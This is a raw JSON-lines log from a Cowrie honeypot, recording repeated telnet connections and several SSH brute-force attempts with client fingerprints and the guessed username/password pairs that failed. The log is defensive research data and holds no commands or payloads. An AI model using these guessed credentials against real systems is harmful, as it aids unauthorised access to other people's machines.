{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03898211e5b","protocol":"telnet","message":"New connection: 192.119.13.58:38274 (10.17.0.5:23) [session: d03898211e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:24.723722Z"}
{"eventid":"cowrie.session.closed","duration":35.26227355003357,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:30.672842Z","src_ip":"192.119.13.58","session":"08d726144469","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.991140842437744,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:33.607755Z","src_ip":"192.119.13.58","session":"0da04a08a5ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.629082679748535,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:35.505514Z","src_ip":"192.119.13.58","session":"f2acdd5d56c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d319a12501b","protocol":"telnet","message":"New connection: 192.119.13.58:55622 (10.17.0.5:23) [session: 2d319a12501b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:43.338203Z"}
{"eventid":"cowrie.session.closed","duration":43.91539025306702,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:44.671478Z","src_ip":"192.119.13.58","session":"4f0e924642fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66016101837158,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:47.355885Z","src_ip":"192.119.13.58","session":"22548222d1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb101141637","protocol":"telnet","message":"New connection: 192.119.13.58:56930 (10.17.0.5:23) [session: acb101141637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:50.564463Z"}
{"eventid":"cowrie.session.closed","duration":45.66040253639221,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:53.368428Z","src_ip":"192.119.13.58","session":"8c84ba0b2932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59560,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1b26da0ce7","protocol":"telnet","message":"New connection: 192.119.13.58:59560 (10.17.0.5:23) [session: 9c1b26da0ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:58.017265Z"}
{"eventid":"cowrie.session.closed","duration":42.63886046409607,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:58.413436Z","src_ip":"192.119.13.58","session":"16df081aab31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"267b0c82e519","protocol":"telnet","message":"New connection: 192.119.13.58:45816 (10.17.0.5:23) [session: 267b0c82e519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:01.795978Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48160,"dst_ip":"10.17.0.5","dst_port":23,"session":"271f59967b40","protocol":"telnet","message":"New connection: 192.119.13.58:48160 (10.17.0.5:23) [session: 271f59967b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:02.445144Z"}
{"eventid":"cowrie.session.closed","duration":43.06247615814209,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:07.786058Z","src_ip":"192.119.13.58","session":"d03898211e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35640,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d01be9dec35","protocol":"ssh","message":"New connection: 80.94.92.184:35640 (10.17.0.5:22) [session: 2d01be9dec35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:15.237871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:15.285651Z","src_ip":"80.94.92.184","session":"2d01be9dec35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:15.412639Z","src_ip":"80.94.92.184","session":"2d01be9dec35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:15.955543Z","src_ip":"80.94.92.184","session":"2d01be9dec35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:17.060807Z","src_ip":"80.94.92.184","session":"2d01be9dec35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46620,"dst_ip":"10.17.0.5","dst_port":23,"session":"055e257f9694","protocol":"telnet","message":"New connection: 192.119.13.58:46620 (10.17.0.5:23) [session: 055e257f9694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:23.510069Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53270,"dst_ip":"10.17.0.5","dst_port":23,"session":"35abd63addb3","protocol":"telnet","message":"New connection: 192.119.13.58:53270 (10.17.0.5:23) [session: 35abd63addb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:25.144325Z"}
{"eventid":"cowrie.session.closed","duration":44.18246150016785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:27.520549Z","src_ip":"192.119.13.58","session":"2d319a12501b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"58098e64ac74","protocol":"telnet","message":"New connection: 192.119.13.58:49336 (10.17.0.5:23) [session: 58098e64ac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:31.232599Z"}
{"eventid":"cowrie.session.closed","duration":41.648369550704956,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:32.212731Z","src_ip":"192.119.13.58","session":"acb101141637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19251012802124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:34.209611Z","src_ip":"192.119.13.58","session":"9c1b26da0ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44244,"dst_ip":"10.17.0.5","dst_port":23,"session":"6731c720120b","protocol":"telnet","message":"New connection: 192.119.13.58:44244 (10.17.0.5:23) [session: 6731c720120b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:37.810735Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58874,"dst_ip":"10.17.0.5","dst_port":22,"session":"87cc2764e919","protocol":"ssh","message":"New connection: 193.37.70.224:58874 (10.17.0.5:22) [session: 87cc2764e919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:44.038918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:44.043890Z","src_ip":"193.37.70.224","session":"87cc2764e919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:44.138634Z","src_ip":"193.37.70.224","session":"87cc2764e919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369963","message":"login attempt [root/369963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:44.425354Z","src_ip":"193.37.70.224","session":"87cc2764e919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:45.522273Z","src_ip":"193.37.70.224","session":"87cc2764e919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.91131043434143,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:46.707137Z","src_ip":"192.119.13.58","session":"267b0c82e519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36802,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab0a4341232","protocol":"telnet","message":"New connection: 192.119.13.58:36802 (10.17.0.5:23) [session: 7ab0a4341232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:48.869086Z"}
{"eventid":"cowrie.session.closed","duration":46.4715518951416,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:48.916540Z","src_ip":"192.119.13.58","session":"271f59967b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ea2574ebcf","protocol":"telnet","message":"New connection: 192.119.13.58:38946 (10.17.0.5:23) [session: f9ea2574ebcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:49.413599Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":39296,"dst_ip":"10.17.0.5","dst_port":22,"session":"35af1dbad727","protocol":"ssh","message":"New connection: 103.27.238.114:39296 (10.17.0.5:22) [session: 35af1dbad727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:56.064039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:56.069025Z","src_ip":"103.27.238.114","session":"35af1dbad727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:56.338190Z","src_ip":"103.27.238.114","session":"35af1dbad727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfkbyf","message":"login attempt [root/vfkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:57.144503Z","src_ip":"103.27.238.114","session":"35af1dbad727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:58.416536Z","src_ip":"103.27.238.114","session":"35af1dbad727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43036,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccae8e421950","protocol":"telnet","message":"New connection: 192.119.13.58:43036 (10.17.0.5:23) [session: ccae8e421950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:58.546624Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae14bb614f4","protocol":"telnet","message":"New connection: 192.119.13.58:52350 (10.17.0.5:23) [session: aae14bb614f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:38:59.783630Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34282,"dst_ip":"10.17.0.5","dst_port":23,"session":"78677008441c","protocol":"telnet","message":"New connection: 192.119.13.58:34282 (10.17.0.5:23) [session: 78677008441c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:02.406322Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43138,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b77475a0f5e","protocol":"telnet","message":"New connection: 192.119.13.58:43138 (10.17.0.5:23) [session: 0b77475a0f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:04.449789Z"}
{"eventid":"cowrie.session.closed","duration":43.923954248428345,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:07.433817Z","src_ip":"192.119.13.58","session":"055e257f9694","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.7356972694397,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:07.879860Z","src_ip":"192.119.13.58","session":"35abd63addb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59204,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73c578587b4","protocol":"telnet","message":"New connection: 192.119.13.58:59204 (10.17.0.5:23) [session: f73c578587b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:15.199055Z"}
{"eventid":"cowrie.session.closed","duration":45.18868589401245,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:16.421136Z","src_ip":"192.119.13.58","session":"58098e64ac74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49372,"dst_ip":"10.17.0.5","dst_port":23,"session":"524e5fd5a0d4","protocol":"telnet","message":"New connection: 192.119.13.58:49372 (10.17.0.5:23) [session: 524e5fd5a0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:19.809430Z"}
{"eventid":"cowrie.session.closed","duration":44.414422035217285,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:22.225028Z","src_ip":"192.119.13.58","session":"6731c720120b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43280,"dst_ip":"10.17.0.5","dst_port":23,"session":"9185f77f0f2f","protocol":"telnet","message":"New connection: 192.119.13.58:43280 (10.17.0.5:23) [session: 9185f77f0f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:25.268075Z"}
{"eventid":"cowrie.session.closed","duration":37.8400182723999,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:26.709009Z","src_ip":"192.119.13.58","session":"7ab0a4341232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95209afc36e","protocol":"telnet","message":"New connection: 192.119.13.58:51892 (10.17.0.5:23) [session: a95209afc36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:28.563170Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42766,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a309b628e3","protocol":"ssh","message":"New connection: 38.93.206.2:42766 (159.203.135.109:22) [session: 76a309b628e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:30.882887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:30.887900Z","src_ip":"38.93.206.2","session":"76a309b628e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:30.939065Z","src_ip":"38.93.206.2","session":"76a309b628e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:31.099503Z","src_ip":"38.93.206.2","session":"76a309b628e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:32.152776Z","src_ip":"38.93.206.2","session":"76a309b628e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25867adcdf0","protocol":"telnet","message":"New connection: 192.119.13.58:42098 (10.17.0.5:23) [session: b25867adcdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:32.445151Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"93938a98428c","protocol":"telnet","message":"New connection: 192.119.13.58:40214 (10.17.0.5:23) [session: 93938a98428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:38.791796Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49868,"dst_ip":"10.17.0.5","dst_port":23,"session":"11513629c1c6","protocol":"telnet","message":"New connection: 192.119.13.58:49868 (10.17.0.5:23) [session: 11513629c1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:41.372642Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d5e5315812","protocol":"telnet","message":"New connection: 192.119.13.58:55320 (10.17.0.5:23) [session: f1d5e5315812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:42.780774Z"}
{"eventid":"cowrie.session.closed","duration":43.67902112007141,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:43.462552Z","src_ip":"192.119.13.58","session":"aae14bb614f4","protocol":"telnet"}
